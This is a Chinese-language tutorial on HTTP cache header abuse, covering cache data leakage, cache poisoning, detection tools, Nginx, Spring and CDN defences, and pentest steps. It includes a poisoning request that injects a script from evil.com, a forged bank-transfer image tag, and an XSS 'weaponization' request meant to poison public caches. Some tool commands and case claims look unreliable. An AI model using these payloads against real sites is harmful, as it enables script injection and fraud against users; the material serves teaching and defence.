1. 漏洞核心原理
HTTP缓存头滥用 是一种通过操纵缓存控制头(如Cache-Control
、Vary
),诱导CDN或浏览器缓存敏感内容的攻击方式。当网站错误配置缓存策略时,可能导致:
-
用户隐私数据被缓存到公开URL
-
不同用户收到彼此缓存的敏感内容
-
恶意内容被长期保留在缓存中
攻击三要素:
-
可缓存的响应头配置(如
public, max-age=3600
) -
动态内容未正确标记为
private/no-store
-
CDN或浏览器未严格校验内容敏感性
2. 攻击类型与复现
(1) 敏感数据缓存泄露
GET /account/profile HTTP/1.1
Host: victim.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=600 # 错误配置
Content-Type: text/html
<user_private_data>
利用方式:
-
诱导用户访问后,攻击者访问相同URL获取缓存
(2) 缓存投毒(Cache Poisoning)
GET /?param=attacker_payload HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com
HTTP/1.1 200 OK
Cache-Control: public
Vary: X-Forwarded-Host # 危险用法
Content-Type: text/html
<script src="https://evil.com/malicious.js">
效果:所有访问/?param=*
的用户加载恶意JS
(3) 浏览器缓存攻击
<!-- 恶意页面代码 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
特点:利用浏览器缓存自动携带认证Cookie
3. 自动化检测工具
工具 | 功能 | 示例命令 |
---|---|---|
Burp Suite | 扫描Cache-Control 头 |
被动扫描模式 |
param-miner | 检测Vary 头滥用 |
java -jar burp.jar --extender param-miner |
curl测试 | 验证缓存行为 | curl -I -H "X-Forwarded-Host: test" http://target |
4. 企业级防御方案
(1) 缓存头安全配置
# 安全示范 - Nginx配置
location ~* \.(php|asp|jsp)$ {
add_header Cache-Control "no-store, no-cache";
}
location /api/ {
proxy_cache_bypass $cookie_auth_token;
add_header Vary "Authorization";
}
(2) 代码层防护
// Spring安全示范
@GetMapping("/account")
public ResponseEntity<UserData> getAccount(
@AuthenticationPrincipal User user) {
return ResponseEntity.ok()
.cacheControl(CacheControl.noStore())
.body(userService.getData(user));
}
(3) CDN高级策略
厂商 | 安全配置 |
---|---|
Cloudflare | Page Rule: Cache Level = Bypass 敏感路径 |
AWS CloudFront | 设置Forward Cookies = All |
Akamai | 启用Edge-Control: no-store |
5. 历史漏洞案例
受影响系统 | 攻击方式 | 后果 |
---|---|---|
某政府网站 | 缓存/admin 页面到CDN |
未授权访问后台 |
电商平台 | 利用Vary: User-Agent 投毒移动端缓存 |
数百万用户收到恶意JS |
API服务 | 缓存/users/me 响应 |
用户数据交叉泄露 |
6. 渗透测试方法论
-
探测阶段:
# 检查缓存头
curl -I https://target.com/account | grep -i "cache-control\|vary"
-
漏洞验证:
-
修改
X-Forwarded-Host
等头部观察缓存变化 -
测试
/profile.css
等伪装路径
-
-
武器化利用:
GET /?q=<script>alert(1)</script> HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
--> 诱导Googlebot爬取以污染公共缓存
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容